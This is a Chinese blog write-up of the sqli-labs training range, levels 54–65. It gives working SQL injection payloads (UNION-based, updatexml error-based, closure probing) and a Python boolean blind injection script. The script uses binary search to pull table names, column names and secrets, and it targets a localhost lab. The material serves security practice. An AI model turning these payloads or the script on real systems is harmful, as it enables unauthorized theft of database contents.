sqli-labs-master靶场训练笔记(54-65|决战紫禁之巓)

文章详细描述了在一系列SQL注入挑战中,如何通过判断类型、列数、表名、字段名和数据来逐步破解数据库安全。作者展示了从level-54到level-65的步骤,并提供了一段Python脚本用于自动化查询过程。
摘要由CSDN通过智能技术生成

2024.2.5

level-54 

1、先判断类型和闭合类型

?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #正常 判断是 ' 闭合

2、 判断列数

 这里需要运气,但是根据前面50多关的经验直接猜测是3列

?id=-1' union select 1,2,3 -- a

3、爆表名,爆列名

由于有两个回显位,可以一口气爆两个 

?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- a

4、 爆字段名

?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='k4btflpcqe') -- a

5、爆数据

四个字段,四次机会

经过尝试,第三个字段是正确的

?id=-1' union select 1,2,(select group_concat('~',secret_0LJ6,'~') from challenges.k4btflpcqe limit 0,1) -- a

(如果是第一次打这个关卡,但凡运气和判断失误一点都不太能一次过)

level-55

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #错误
?id=1) -- a   #正常 判断是 ) 闭合

2、后面过程与 level-54 一样

level-56

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1' -- a   #错误
?id=1') -- a  #正常 判断是 ') 闭合

2、后面过程与 level-54 一样

 level-57

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #正常
?id=1"        #错误
?id=1" -- a   #正常 判断是 " 闭合

2、后面过程与 level-54 一样

level-58

1、先判断类型

?id=1/0       #正常 证明不是数字型
?id=1' -- a   #因为有报错信息可以直接判断出'闭合

2、爆列名

有报错信息的存在,这次选择报错注入,节省次数的浪费

?id=1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1) -- a

3、爆字段

?id=1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='q9821q44au'),'~'),1) -- a

4、爆数据

?id=1' and updatexml(1,concat('~',(select group_concat('~',secret_L4Z3,'~') from challenges.q9821q44au limit 0,1),'~'),1) -- a

level-59

1、先判断类型
?id=1/0       #错误 证明是数字型
?id=1 -- a    #正常 判断无闭合

2、后面过程与 level-58 一样

level-60

1、先判断类型
?id=1/0       #正常 证明不是数字型
?id=1'        #错误
?id=1"        #根据报错信息知道是 ") 闭合
?id=1") -- a  #正常

2、后面过程与 level-58 一样

level-61

1、先判断类型
?id=1/0        #正常 证明不是数字型
?id=1'         #根据报错信息知道是 ')) 闭合
?id=1')) -- a  #正常

2、后面过程与 level-58 一样

level-62

 1、先判断类型

1、先判断类型
?id=1/0         #正常 证明不是数字型
?id=1'          #错误
?id=1"          #正常
?id=1' -- a     #错误
?id=1') -- a    #正常 判断是 ') 闭合

2、爆数据

首先需要了解一下表名,列名,数据的组成

表名:10位随机的字母(含大小写)或数字

列名:secret_+4位随机的字母(含大小写)或数字

数据:24位随机的字母(含大小写)或数字

显然正常的爆破次数(38*62=2356)是远远大于130次的

而且用二分法 (38*log2(62)=228) 也大于130

既然这样,只能写脚本绕过了

import requests

def binary_query(start,length,payload):
    name = ''
    times = 0
    for i in range(start,start+length):
        p, q = 0, len(words)-1
        while p<=q:
            resp = requests.get(url, params={'id':payload.format(i,words[(p+q)//2])})
            times += 1
            if ("Login name" in resp.content.decode('utf-8')):  #向右找
                p = (p+q)//2+1
            else:    #向左找
                q = (p+q)//2-1
        name += chr(words[p])
    return name,times


#生成0~9,A~Z,a~z的ascii码
words = [i for i in range(ord('0'),ord('9')+1)]+[i for i in range(ord('A'),ord('Z')+1)]+[i for i in range(ord('a'),ord('z')+1)]
url = r"http://127.0.0.1/sqli-labs-master/Less-62/"

#爆表名
table_payload = "1') and if(ascii(mid((select table_name from information_schema.tables where table_schema=database()),{},1))>{},1,0) -- a"
table_name, table_time= binary_query(1,10,table_payload)
print(f'table_name: {table_name}\ntable_time: {table_time}')

#爆列名
column_payload = f"1') and if(ascii(mid((select column_name from information_schema.columns where table_schema=database() and table_name='{table_name}' and column_name like 'secret_%')"+",{},1))>{},1,0) -- a"
column_name,column_time = binary_query(8,4,column_payload)
column_name = 'secret_'+ column_name
print(f'table_name: {column_name}\ntable_time: {column_time}')

#爆数据
data_payload = f"1') and if(ascii(mid((select {column_name} from challenges.{table_name})"+",{},1))>{},1,0) -- a"
data_name,data_time = binary_query(1,24,data_payload)
print(f'table_name: {data_name}\ntable_time: {data_time}')

print(f'sum_time:{table_time+column_time+data_time}')

 

level-63

?id=1' -- a
' 闭合,剩下的和level-62一样

level-64

?id=1)) -- a
)) 闭合,剩下的和level-62一样

level-65

?id=1") -- a
") 闭合,剩下的和level-62一样

这一路上走走停停,两周的时间,当初茫然的菜鸟似乎已经开始可以独自面对风雨,从对着单引号一脸懵逼到如今可以写脚本来解放双手,sql注入的大门已经为你我打开,此时,训练场已经满足不了想要展翅的❤,是时候背起行囊,前往大千世界,但切记,虽可飞翔,但羽翼仍未丰满,面对挑战,不要气馁,面对弱小, 务必留情,切勿挑战世界的法则,与千千万万一起构建和谐的社会

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Z时代.bug(゜▽゜*)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值